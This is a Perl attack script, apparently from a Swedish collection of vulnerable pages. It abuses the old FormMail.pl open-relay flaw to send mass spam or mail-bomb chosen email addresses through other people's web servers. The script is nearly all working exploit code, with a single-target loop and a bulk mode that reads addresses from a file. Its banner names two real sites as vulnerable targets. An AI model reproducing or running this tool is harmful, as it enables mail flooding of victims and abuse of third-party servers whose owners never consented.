Samling av sidor med säkerhetsbrister - Del 2

#!/usr/bin/perl
use warnings;
use strict;
use LWP::UserAgent;

print q(
###############################################

FormMail spam By krimin3ll

Exploit: http://securitytracker.com/id/1001108

vulns:
http://www.ninelivesgreece.com/cgi-bin/FormMail.pl
http://www.prenhall.com/divisions/hs...n/FormMail.pl?

o_O We cant stop here this is bat country..

##############################################

);

print "Single(1)\n";
print "Multi(2)\n";

my $men=<STDIN>;

if ($men==1) {

print "\n Insert hostex: http://www.site.com\n";
my $host=<STDIN>;
chomp($host);

print "\n Insert uri\n Ex: /cgi-bin/FormMail.pl?\n";
my $uri=<STDIN>;
chomp($uri);

print "Email adress to spam:";
my $adress=<STDIN>;
chomp($adress);

print "\n Message:";
my $mess=<STDIN>;
chomp($mess);

print "Number of emails:";
my $num=<STDIN>;
chomp($num);


my $url2=$host.$uri."recipient=".$adress."&"."message ="."$mess";
my $i=0;
while ($i<=$num)
{

my $agent = LWP::UserAgent->new(env_proxy => 1,keep_alive => 1, timeout => 30);
my $reqo2 = HTTP::Request->new( GET => $url2);
my $response = $agent->request($reqo2);

if ($response->is_success)
{

print $response->as_string;
}

elsif ($response->is_error)
{
print "Error:$url2\n";
print $response->error_as_HTML;
}

$i++;
}
}



if ($men==2)
{

print "\n Insert hostex: http://www.site.com\n";
my $host=<STDIN>;
chomp($host);

print "\n Insert uri\n Ex: /cgi-bin/FormMail.pl?\n";
my $uri=<STDIN>;
chomp($uri);

print "\n Message:";
my $mess=<STDIN>;
chomp($mess);


print "Input path to text file:\n";
my $filename=<STDIN>;
chomp($filename);
open FH, $filename or die $!;

while (<FH>)
{


my $adress=$_;
chomp($adress);
my $url2=$host.$uri."recipient=".$adress."&"."message ="."$mess";
print $url2;

my $agent = LWP::UserAgent->new(env_proxy => 1,keep_alive => 1, timeout => 30);
my $reqo2 = HTTP::Request->new( GET => $url2);
my $response = $agent->request($reqo2);


if ($response->is_success)
{


print $response->as_string;
}

elsif ($response->is_error)
{
print "Error:$url2\n";
print $response->error_as_HTML;
}





}
}